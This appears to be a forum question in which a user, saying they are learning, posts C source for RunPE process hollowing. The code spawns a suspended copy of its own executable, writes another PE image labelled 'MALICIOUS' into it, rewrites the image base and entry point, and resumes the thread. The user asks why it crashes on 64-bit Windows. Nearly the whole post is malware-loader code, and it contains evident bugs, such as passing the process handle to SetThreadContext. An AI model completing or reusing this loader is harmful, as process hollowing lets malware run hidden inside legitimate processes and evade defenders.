I'm trying to use RunPE technique (For learning).
First, I tried it on Windows XP(32-bit) and no error occurs but, the injected code for(HelloWorld) didn't run.
Then, I tried to use it on Windows 7 and 10 (64-bit) and get this error[0xc00000005] when the thread resumed. Why I get this error and why the injected code didn't run on the XP machine?
I tried also to unmap the imagebase(0x00400000) but I had the same problem.
my code:
int runPe(void* image) {
IMAGE_DOS_HEADER* dosHeader;
IMAGE_NT_HEADERS* ntHeader;
IMAGE_SECTION_HEADER* sectionHeader;
CONTEXT* ctx;
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
int i;
DWORD* ImageBase = NULL;
void* pImage = NULL;
char currentpath[1024];
GetModuleFileNameA(0, currentpath, 1024); //path to the current exe
//Identifying the MALICIOUS IMAGE HEADERS
dosHeader = (PIMAGE_DOS_HEADER)(image);
ntHeader = (PIMAGE_NT_HEADERS)((DWORD)image + dosHeader->e_lfanew);
//Checks if this is a PE FILE
if (ntHeader->Signature == IMAGE_NT_SIGNATURE) {
ZeroMemory(&pinfo, sizeof(pinfo));
ZeroMemory(&sinfo, sizeof(sinfo));
if (CreateProcessA(currentpath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sinfo, &pinfo)) {
printf("[*] Suspended process is created\n");
Sleep(600);
//Allocate memory for the context of suspended process
ctx = (LPCONTEXT)(VirtualAlloc(NULL, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));
if (ctx) {
ctx->ContextFlags = CONTEXT_FULL;
printf("[*] Context is allocated successfully\n");
Sleep(600);
//Get the thread context
if (GetThreadContext(pinfo.hThread, (LPCONTEXT)ctx)) {
printf("[*] Allocating MALICIOUS image headers into the suspended process\n");
Sleep(600);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(ctx->Ebx + 8), (LPVOID)(&ImageBase), 4, 0);
pImage = VirtualAllocEx(pinfo.hProcess, NULL,
ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pImage) {
printf("[*] Allocating memory for MALICIOUS image headers into the IMAGE_BASE\n");
Sleep(600);
//Writing the image intor the process address space
if (WriteProcessMemory(pinfo.hProcess, (LPVOID)pImage, image, ntHeader->OptionalHeader.SizeOfHeaders, NULL)) {
printf("[*] Writing memory for MALICIOUS image headers into the IMAGE_BASE\n");
Sleep(600);
//sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
for (i = 0; i < ntHeader->FileHeader.NumberOfSections; i++)
{
sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader->e_lfanew + 248 + (i * sizeof(IMAGE_SECTION_HEADER)));
if (sectionHeader->SizeOfRawData == 00000000)
continue;
if (WriteProcessMemory(pinfo.hProcess, (LPVOID)((DWORD)(pImage) + sectionHeader->VirtualAddress),
(LPVOID)((DWORD)image + sectionHeader->PointerToRawData), sectionHeader->SizeOfRawData, 0))
{
printf("[*] Allocating memory for Section %d at %X\n", i, (LPVOID)((DWORD)pImage + sectionHeader->VirtualAddress));
Sleep(600);
}
else
{
printf("ERROR: Writing section (%d) into memory failed\n", i);
printf("Error Code: %d\n", GetLastError());
return -1;
}
}
//Change the imageBase address from the suspened process into the MALICIOUS
if (WriteProcessMemory(pinfo.hProcess, (LPVOID)(ctx->Ebx + 8), (LPVOID)(ntHeader->OptionalHeader.ImageBase), 4, 0)) {
printf("[*] Image base address is changed to MALICIOUS\n");
Sleep(600);
//Now we will move the address of entrypoint to the MALCIOUS image
// At EAX register
ctx->Eax = (DWORD)pImage + ntHeader->OptionalHeader.AddressOfEntryPoint;
printf("[*] AddressOfEntryPoint is changed to MALICIOUS\n");
Sleep(600);
//Set Thread Context and resume it
SetThreadContext(pinfo.hProcess, (LPCONTEXT)ctx);
ResumeThread(pinfo.hThread);
printf("[*] Thread is resumed\n");
}
else
{
printf("ERROR: Change the imageBase address from the suspened process into the MALICIOUS failed\n");
printf("Error Code: %d\n", GetLastError());
return -1;
}
}
else
{
printf("ERROR: Writing the image into the process address space failed\n");
printf("Error Code: %d\n", GetLastError());
return -1;
}
}
else
{
printf("ERROR: Allocating memory for MALICIOUS image headers into the IMAGE_BASE failed\n");
printf("Error Code: %d\n", GetLastError());
return -1;
}
}
else
{
printf("ERROR: GetThreadContext failed\n");
printf("Error Code: %d\n", GetLastError());
return -1;
}
}
else
{
printf("ERROR: Context allocation failed\n");
printf("Error Code: %d\n", GetLastError());
return -1;
}
}
return 0;
}
else
{
printf("ERROR: Invalid nt SIGNATURE\n");
printf("Error Code: %d\n", GetLastError());
return -1;
}
}